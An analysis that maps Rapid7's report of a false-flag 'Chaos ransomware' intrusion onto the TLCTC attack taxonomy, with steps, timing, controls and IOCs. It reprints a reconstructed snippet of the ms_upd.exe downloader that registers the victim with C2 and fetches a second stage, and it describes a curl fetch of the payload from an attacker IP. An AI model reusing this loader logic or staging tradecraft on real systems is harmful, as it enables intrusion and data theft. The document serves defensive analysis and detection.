Rapid7's Threat Research team published a careful forensic narrative in early 2026 of an intrusion branded as "Chaos ransomware." Their central finding is striking: the threat actor used a Ransomware-as-a-Service skin as a false flag, while the actual operation was state-sponsored exfiltration — no files were ever encrypted. The branding was disguise.
That kind of finding is exactly where outcome-oriented taxonomies stumble. If your taxonomy reasons about "ransomware" as a category, an incident in which no encryption occurs becomes hard to talk about — yet operationally it is still a textbook case of social-engineering → identity theft → execution → exfiltration. The TLCTC v2.1 framework is built precisely to ignore the brand, ignore the actor, and ask one question instead: which generic vulnerability did the attacker exploit at each step?
This piece walks the Rapid7 incident through that lens. The path is short, every step is non-obvious in at least one way, and the Δt profile reveals a structural detection window that the "ransomware" framing would have hidden completely.
IThe Attack Path
Seven classified steps, one bridge crossing, one outcome — and the FEC chain splits at an operator gate that's invisible from the outcome label.
The compact TLCTC notation for the entire incident:
#9 ||[human][@Attacker⇒@MSTeams→@Org]|| →[Δt=?] #4 →[Δt=?] #1 →[Δt=?] #4 →[Δt=?] #1 →[Δt=~5s] #7 // first FEC wave: DWAgent + AnyDesk + ms_upd.exe →[Δt=?] #7 // after operator approval: Game.exe stages + [DRE: C]
Step 6 and Step 7 are both #7 — and that's deliberate. Per R-EXEC, every distinct FEC execution gets its own #7 step, and the s6 → s7 transition is the operator-gated approval flag visible in the decompiled ms_upd.exe main routine. Splitting them at the gate exposes the velocity story that consolidating them would erase.
Rendered as a flow:
ms_upd.exe that pauses the chain between the two #7 steps. The path resolves to [DRE: C] — a single confidentiality event — not the [DRE: Ac] that the "ransomware" label would imply.Three things in that diagram are not what an outcome-oriented reading would predict. First, the path contains two #4 steps separated by a #1 step — that is the load-bearing Axiom-X structure of the incident. Second, the FEC chain itself is two #7 steps separated by an operator gate — not one consolidated malware blob — and that split is what makes the velocity story visible. Third, there is no encryption — the path closes on confidentiality loss only, despite the "ransomware" label on the tin.
Why two #7 steps and not one
A first draft of this analysis kept Steps 6 and 7 as a single consolidated #7. That reading is wrong. Per R-EXEC, every distinct FEC execution is its own #7 step, and there are two structurally distinct FEC executions here: the first wave (DWAgent, AnyDesk, ms_upd.exe) executes immediately, but Game.exe only stages after a human operator on the C2 side flips an approval flag visible in ms_upd.exe's while(1) polling loop. Splitting them lifts the operator-gated Δt to a first-class structural element rather than burying it in prose — which is exactly why the corresponding attack-path JSON record (chaos-muddywater-falseflag-2026.json) carries seven path-sequence items, not six.
IIThe Boundary Crossing
Microsoft Teams isn't an attack surface here. It's transit — the carrier, not the target.
Every bridge cluster (#8, #9, #10) requires a boundary operator. For social engineering, the syntax is ||[context][@Source→@Target]|| with optional transit annotations. The interesting question is: what role does Teams play?
@SMSProvider in v2.1's exemplar phishing-SMS path: it carries a deceptive payload to a human target without itself being exploited.Why this matters operationally
Treating Teams as transit (not attack surface) tells you where the control belongs: the human, not Teams' code. This is why the strongest Step-1 mitigation is restricting external-tenant-to-internal-user chat federation by default — the vulnerability isn't a bug in Teams, it's the trust scope of who can initiate a conversation.
IIIThe Steps, in Detail
Each cluster choice is justified by exactly one R-* rule. Where two rules could plausibly fire, the rationale identifies the deciding evidence.
Microsoft Teams vishing + screen-share
Action: Attacker-controlled Teams account opens 1:1 chat impersonating IT support, often paired with email-bombing for urgency. Screen-share is initiated; the user is told to either browse to adm-pulse[.]com/verify.php (Quick-Assist look-alike) or type credentials into a local file (credentials.txt, cred.txt) where the attacker reads them off the screen.
Generic vulnerability: Human psychology — authority bias, urgency, impersonation of a trusted role.
R-* rule: R-HUMAN — psychological manipulation is the operative mechanism. R-CRED — credential acquisition here maps to the enabling cluster (#9), not to #4. Application is a separate, later step.
Boundary: ||[human][@Attacker⇒@MSTeams→@Org]||
First credential application
Action: Stolen username / password presented to corporate VPN or SSO endpoint. The attacker is now operating as the user identity.
Generic vulnerability: Weak binding between identity and authentication artifact; primary auth alone is sufficient.
R-* rule: R-CRED — credential application is ALWAYS #4, regardless of how the credential was acquired. Axiom X is preserved as a clean two-step structure: Step 1 was acquisition (#9), Step 2 is application (#4).
MFA self-enrollment hijack
Action: Inside the now-authenticated session, the attacker enters the IAM self-service MFA enrollment workflow and registers their own device as a second factor for the victim account.
Generic vulnerability: The inherent trust and scope of a self-service IAM feature. The endpoint works exactly as designed.
R-* rule: R-ABUSE / "Perfect-Implementation Test" — a perfectly implemented MFA enrollment endpoint that allows self-enrollment after primary auth will still permit this. No coding flaw is exploited. By Axiom VI, this step has its own generic vulnerability and must be its own cluster step.
Why not part of the #4 chain?
The temptation is to lump the MFA-add into the surrounding identity-theft activity. But the attacker isn't presenting credentials here — they are operating a feature of the IAM system. Folding it into #4 collapses two distinct generic vulnerabilities (Axiom VI violation) and erases the highest-leverage detection point: most MFA enrollments are perfectly normal — but enrollment seconds after a first-ever login from an unfamiliar geo is not.
Re-authentication with attacker-bound MFA
Action: Full authentication to MFA-protected resources — Domain Controller, RDP into internal hosts, privileged consoles — now succeeds because both factors are attacker-controlled.
R-* rule: R-CRED, again. Step 3 materially changed the attacker's credential possession (single-factor → MFA-complete), so a fresh #4 step is warranted. Treating Step 2 and Step 4 as one step would erase the MFA-pivot in between.
Authorized admin tooling — LOLBAS & installers
Action: Logged in as a privileged user, the attacker invokes Windows curl to fetch ms_upd.exe from 172.86.126[.]208:443; runs the standard installer flows for DWAgent and AnyDesk; uses RDP between hosts.
Generic vulnerability: Designed administrative capability of an authenticated session. Installer execution, outbound HTTPS fetch, and service registration are all intended functions.
R-* rule: R-EXEC's LOLBAS clarification — invocation of a legitimate binary is #1; execution of attacker-controlled content is the next step (#7). Cleanly separating these is what lets a SOC alert on "user X installed RMM software on a DC" without needing to wait for malware behavior to fire later.
First FEC wave — and the operator-gate pause
Action: Three FEC binaries execute on @Org systems: the dual-use RMM tooling (DWAgent components and AnyDesk) for persistence and lateral access, plus the stage-1 downloader ms_upd.exe. ms_upd.exe stages itself in C:\Users\Public\Downloads\GameFiles\, registers with C2 uploadfiler[.]com via POST /register sending a JSON payload {client_id, computer_name, username, domain}, then enters a polling loop on POST /check awaiting an operator-set approval flag. Game.exe is not yet downloaded at this step.
| FEC | SHA-256 (truncated) | Role |
|---|---|---|
dwagent.exe / dwagsvc.exe | cd098edd…945a53df | Persistent dual-use RMM RAT |
AnyDesk.exe | bfc1675e…dab053f89 | Interactive remote-control |
ms_upd.exe | 24857fe8…f05e4d14 | Stage-1 downloader · awaits operator approval |
R-* rule: R-EXEC — every distinct FEC execution is its own #7 instance. The v2.1 #7 definition explicitly includes "dual-use tooling when it executes attacker-controlled FEC" — so DWAgent and AnyDesk are #7, not #1, even though the binaries are signed legitimate tools. What matters is foreign content executing under attacker direction. The earlier #1 step (Step 5) records the attacker's invocation; Step 6's #7 records the resulting FEC execution.
Δt to next step: operator-paced, ?. This is the entire reason Step 6 and Step 7 are separate: the while(1) polling loop in ms_upd.exe only progresses to second-stage download after a human operator on the C2 side flips an approval flag. Consolidating Step 6 and Step 7 into a single #7 would erase this slack — and erase the only structurally human-paced transition in the entire chain.
Game.exe RAT after operator approval
Action: Once the operator sets the approval flag, ms_upd.exe downloads three files from C2: /download/Game.exe (saved as Game.exe), /download/Game.dll (saved on disk as WebView2Loader.dll), and /download/Game.config (saved as visualwincomp.txt, encrypted configuration). Game.exe executes — second R-EXEC firing — self-installs in C:\ProgramData\visualwincomp-<random>\, takes the ATTRIBUTES_ObjectKernel mutex, registers with uploadfiler[.]com/home, and polls /index.php every 60 seconds for commands. Data exfiltration follows via chunked upload_chunk calls.
| FEC | SHA-256 (truncated) | Role |
|---|---|---|
Game.exe + WebView2Loader.dll | 1319d474…ecf97b6 | Custom RAT; DLL-sideload masquerade; 60s C2 beacon |
R-* rule: R-EXEC, again. A second classified #7 is recorded here because the FEC execution event is distinct in time and triggered only by the operator-flipped flag from Step 6. This is the structural form of "every distinct FEC execution gets its own #7 instance" — and it is also why the JSON record of this incident (in attack-paths/) carries seven path-sequence items, not six.
Outcome: + [DRE: C] — Loss of Confidentiality. The victim publicly confirmed the data on the Chaos DLS is legitimate; one DLS entry shows 999 GB leaked. No [DRE: Ac] — no encryption ever happened. The "ransomware" brand is psychological extortion pressure built on top of confirmed exfiltration, not an accessibility loss.
The WebView2Loader.dll correction
The "WebView2Loader.dll" on disk is not a legitimate Microsoft DLL being misused — the decompile shows the file is fetched from /download/Game.dll, i.e., it is attacker-built FEC saved under a spoofed filename. This is a filename-masquerade + DLL-sideload pattern, all within the #7 envelope. Defense-evasion features inside Game.exe — dynamic API resolution, XOR-0xAB string obfuscation, sandbox-DLL probes, VM CPU-name detection, GetTickCount+Sleep timing checks — are characteristics of this #7 step, not separate cluster steps (R-EXEC handles execution; FEC's evasion features ride along).
IVVelocity Profile
Most transitions are unobserved (Δt=?) but two are decisive: an operator-gated VC-2 stage that gives defenders time, and a 60-second beacon that takes that time away.
The VC-2 lane is the headline finding. Decompilation of ms_upd.exe's main routine shows it registers the victim with the C2 (L"/register"), then enters a while(1) loop polling L"/check" for an operator's approval flag. Game.exe is staged only after a human on the C2 side approves the victim. That is fundamentally a hand-curated APT cadence, and it produces a real defensive opportunity:
The detection window
Between ms_upd.exe registration and Game.exe staging, network egress will show POST /register followed by repeated POST /check traffic to uploadfiler[.]com. That window is operator-paced — minutes to hours, possibly longer. Egress detection on this exact pattern is therefore one of the highest-leverage controls in the entire chain. The "ransomware" framing of this incident would have hidden this opportunity completely; the TLCTC velocity profile makes it visible.
VFour Decisions That Could Have Gone the Other Way
Each of these is the kind of call where TLCTC's axioms deliver an answer outcome-based reasoning cannot.
1. Is the MFA-device-add part of the #4 chain, or its own #1?
Its own #1. The attacker is not presenting credentials at this step — they are operating an existing feature (self-service MFA enrollment) of the IAM system. Axiom VI's "one step, one generic vulnerability, one cluster" prevents merging it with the surrounding identity-theft activity. The "Perfect-Implementation Test" is decisive: a flawlessly coded MFA enrollment endpoint still permits this attack as long as it allows self-service enrollment after primary auth.
2. Are DWAgent and AnyDesk #7 (malware) or #1 (legitimate-tool abuse)?
#7. The v2.1 definition of #7 explicitly includes "dual-use tooling when it executes attacker-controlled FEC." The signed-binary status of these tools is irrelevant to the cluster — what matters is that they are foreign content executing under attacker direction. The earlier #1 step (Step 5) records the attacker's invocation of legitimate facilities (curl, installer); Step 6's #7 records the resulting FEC execution. Both R-EXEC and the LOLBAS clarification line up on this division.
3. Does the "Donald Gay" code-signing certificate trigger #10 Supply Chain?
No — at most a low-confidence alternative annotation. The certificate is best read as an evasion characteristic of the #7 step, not a separate Trust Acceptance Event.
The defensible #10 reading would place a ||[code-signing][@MicrosoftCS→@Org]|| at the moment Windows honors the signature. R-SUPPLY's falsifiability test passes weakly (removing the trust link would invalidate the evasion benefit). But the article does not show a specific control bypass that hinges on the signature — no AppLocker publisher rule pass, no SmartScreen story. FEC execution would still occur on most enterprise endpoints. And #10 is operationally most useful when the trust link is specific to the target's supply chain, not the global OS code-signing CA where TAE attribution is too diffuse to be actionable.
4. Should the path close on [DRE: C], [DRE: Ac], or both?
[DRE: C] only.
[DRE: Ac] is grayed out: the encryption event the brand implies never happened.Recording [DRE: Ac] because the report uses the word "ransomware" would be a direct violation of Axiom III. The Chaos DLS is psychological extortion pressure built on top of confirmed exfiltration — but extortion is not a DRE, and the absence of an encryption event means the path closes on confidentiality loss alone.
VIInside ms_upd.exe: The Operator Gate
A close reading of the decompiled main routine reveals a manual approval step — and rewrites the velocity profile.
The published decompilation of ms_upd.exe's main function is short and revealing. After enumerating client info, it builds a registration JSON:
// Reconstructed from decompiled ms_upd.exe MWF_PrintfWrap(OptionalData, 1024, "{\"client_id\":\"%s\",\"computer_name\":\"%s\", \"username\":\"%s\",\"domain\":\"%s\"}", gRegistrationData, ...); MWF_C2Comms(L"/register", OptionalData, ResponseBuffer, 4096); while ( 1 ) { if ( !MWF_C2Comms(L"/check", OptionalData, ResponseBuffer, 4096) || !MWF_CheckIfApproved(ResponseBuffer) && !MWF_CheckIfRetry(ResponseBuffer) ) { goto RetryConnection; } // only here does the second stage download begin MWF_DownloadFile(L"/download/Game.dll", FileName, ...); // → WebView2Loader.dll MWF_DownloadFile(L"/download/Game.exe", MainPayload, ...); MWF_DownloadFile(L"/download/Game.config", FileName, ...); // → visualwincomp.txt }
Three things stand out:
- The
MWF_function-name prefix appears throughout the binary — plausibly "MuddyWater Framework" tradecraft. Per Axiom IV this does not affect cluster classification, but it strengthens attribution. - The
/download/Game.dllfile is saved on disk asWebView2Loader.dll. This confirms the filename-masquerade pattern: the file is attacker-built FEC, not a legitimate Microsoft DLL. - The
while(1)polling loop is the operator gate.MWF_CheckIfApprovedtests a flag set by a human on the C2 side. Until that human approves, no second stage is delivered.
ms_upd.exe. Defenders have minutes-to-hours of POST /check traffic to detect before the second stage ever arrives.This is what makes the velocity correction important. The naive reading would put the ms_upd.exe → Game.exe transition in VC-3 or VC-4. The decompile says VC-2 or even VC-1 — and that's the difference between "human SOC cannot help" and "human SOC absolutely can, if they have the right egress signature."
VIIControl Gaps, Keyed to the Clusters That Fired
Every cluster on the path defines its own control regime. Recommendations follow the cluster, not the outcome.
#9 Social Engineering — Step 1
- Restrict external-tenant Teams chat by default; explicit allow-list for federation.
- Block screen-share initiation from external/unverified tenants.
- User awareness specifically for IT-support-impersonation + email-bombing combo (urgency is the lever).
- Out-of-band re-verification for any "IT" support contact — the impersonation breaks if the support relationship goes through a known channel.
#4 Identity Theft — Steps 2 & 4
- Impossible-travel and unmanaged-device alerting at VPN/IdP — must alert at VC-2 or faster.
- Conditional Access requiring managed-device compliance for DC and privileged RDP — harvested password + adversary device should not be sufficient.
- Continuous risk-scoring of session, not just login time.
#1 Abuse of Functions — Steps 3 & 5
- MFA-enrollment guardrails (Step 3 is the highest-leverage detection point): risk-weight new-device events; quarantine session pending out-of-band confirmation.
- Application-control policy preventing silent installation of RMM tools (DWAgent, AnyDesk, TeamViewer, ConnectWise) — even by authorized accounts.
- Egress detection on
POST /register+ repeatedPOST /checkpatterns to recently registered domains.
#7 Malware — Steps 6 & 7
- Application allow-listing (WDAC, AppLocker publisher rules) — do not trust the "Microsoft ID Verified CS AOC CA 02" issuer at face value; require named-publisher allow-lists.
- EDR rules for the Game.exe behavioral signature: install path
C:\ProgramData\visualwincomp-*,WebView2Loader.dlloutside browser/Edge install paths, mutexATTRIBUTES_ObjectKernel. - Network egress controls flagging Δt=60s POST cadence to recently registered domains (
uploadfiler[.]com,moonzonet[.]com).
The structural insight worth repeating: Steps 3 and 4 are connected by a sub-second Δt — pure SOC-analyst review will not intervene in time. The only reliable break point in that pair is automation at Step 3 (block on new-device-enrollment from unfamiliar geo immediately after first auth from same geo). This is the kind of architectural conclusion you reach from velocity profiling, not from MITRE-technique counting.
VIIIIndicators of Compromise
Including IOCs only visible in the decompiled source — paths and C2 endpoints that don't appear in the article body.
| Type | Indicator | Notes |
|---|---|---|
| SHA-256 | 24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14 | ms_upd.exe — stage-1 downloader, operator-gated |
| SHA-256 | 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6 | Game.exe — custom RAT, mutex ATTRIBUTES_ObjectKernel |
| SHA-256 | cd098eddb23f2d2f6c42271ca82803b0d5ac950cb82a9b8ae0928e83945a53df | dwagent.exe — dual-use RMM |
| SHA-256 | bfc1675ee1e358db8356f515aaded7962923e426aa0a0a1c0eddfc4dab053f89 | AnyDesk.exe — interactive remote control |
| domain | adm-pulse[.]com / verify.php | Phishing page mimicking Quick Assist |
| domain | moonzonet[.]com | C2 for ms_upd.exe; MuddyWater-linked |
| domain | uploadfiler[.]com | Game.exe C2; endpoints /home, /index.php (60s poll), /register, /check, /download/Game.{exe,dll,config} |
| IPv4 | 172.86.126.208:443 | Hosting for ms_upd.exe via curl fetch |
| IPv4 | 77.110.107.235 | Source IP for Teams ingress |
| IPv4 | 93.123.39.127 | Source IP for Teams ingress |
| path | C:\Users\Public\Downloads\GameFiles\ | Working directory hard-coded in ms_upd.exe |
| path | C:\ProgramData\visualwincomp-<random>\ | Game.exe persistence directory |
| C2 path | /register · /check · /download/Game.{exe,dll,config} | Operator-gated C2 protocol (decompile evidence) |
| cert | B674578D4BDB24CD58BF2DC884EAA658B7AA250C | "Donald Gay" code-signing cert · Microsoft ID Verified CS AOC CA 02 — known MuddyWater resource |
IXClassification Verification
The R-* compliance checklist for this analysis.
- Axiom III · No outcome-as-cluster — "Chaos ransomware" treated as outcome label only; no
[DRE: Ac]recorded because no encryption event occurred. - Axiom IV · Actor identity does not drive classification — MuddyWater attribution is contextual, not structural; the
MWF_tradecraft signature is noted but not assigned a cluster. - Axiom VI · Single cluster per step — MFA-add separated from credential-use (Steps 3 vs 4); curl/installer invocation separated from FEC execution (Steps 5 vs 6).
- Axiom X / R-CRED · Acquisition vs application kept distinct — #9 acquisition (Step 1) → #4 application (Steps 2 & 4) preserved as separate steps.
- R-EXEC · Every FEC execution is #7 — DWAgent, AnyDesk, and ms_upd.exe fire R-EXEC under Step 6; Game.exe fires R-EXEC under Step 7. The two #7 steps are split at the operator-approval gate inside
ms_upd.exe, exposing the human-paced transition rather than burying it in prose. - R-SUPPLY · #10 only at TAE — "Donald Gay" cert considered and explicitly rejected as primary #10; logged as low-confidence analytical alternative only.
- R-TRANSIT-3 · Vendor on target ≠ transit — Teams treated as transit relay (no Teams CVE involved); R-TRANSIT-3 does not promote it to attack surface.
- R-INTRA-7 / R-INTRA-9 · No
memoryboundary used — no intra-system boundaries needed for this incident. - R-UNRES · No
?/…used — allΔt=?are known-step / unknown-time, not unresolved-cluster. - DRE only on classified steps ·
[DRE: C]attached to Step 7 (Game.exe exfil); none on Δt-unknown edges or on the operator-gated transition.
XWhat the Brand Hides — and What the Path Reveals
Reading the Rapid7 incident through TLCTC produces five conclusions that are awkward or invisible under outcome-based framings:
- "Chaos ransomware" is brand, not behavior. The path closes on confidentiality loss alone. Treating the incident as a ransomware case would have you reaching for ransomware-shaped controls (immutable backups, decryption resilience) when the actual leverage points are MFA-enrollment guardrails and egress detection.
- The MFA-add is a #1, and that matters. Without separating it from the surrounding identity-theft chain, the highest-leverage detection point in the entire incident becomes invisible — buried inside a generic "valid-accounts" technique label.
- DWAgent and AnyDesk are #7, not "legitimate tools." Their signed-binary status is an evasion characteristic of the FEC step, not a reason to declassify it.
- The operator-gate is the defender's slack. Decompilation shows a VC-2/VC-1 transition in the middle of an otherwise VC-3/VC-4 chain — and that's where the affordable detection sits.
- Attribution doesn't drive classification. Whether this is MuddyWater or someone else does not change the path. That stability is exactly what Axiom IV is for: the cluster structure survives attribution revisions.
Source article: Rapid7 Threat Research, "Muddying Tracks: State-Sponsored Shadow Behind Chaos Ransomware" (2026). rapid7.com
Framework: TLCTC v2.1. Specification at tlctc.net. Licensed CC BY 4.0.
Analysis method: Type A forensic protocol per tlctc-analyze; verification checklist per Section IX.
Generated 2026-05-08 · CC BY 4.0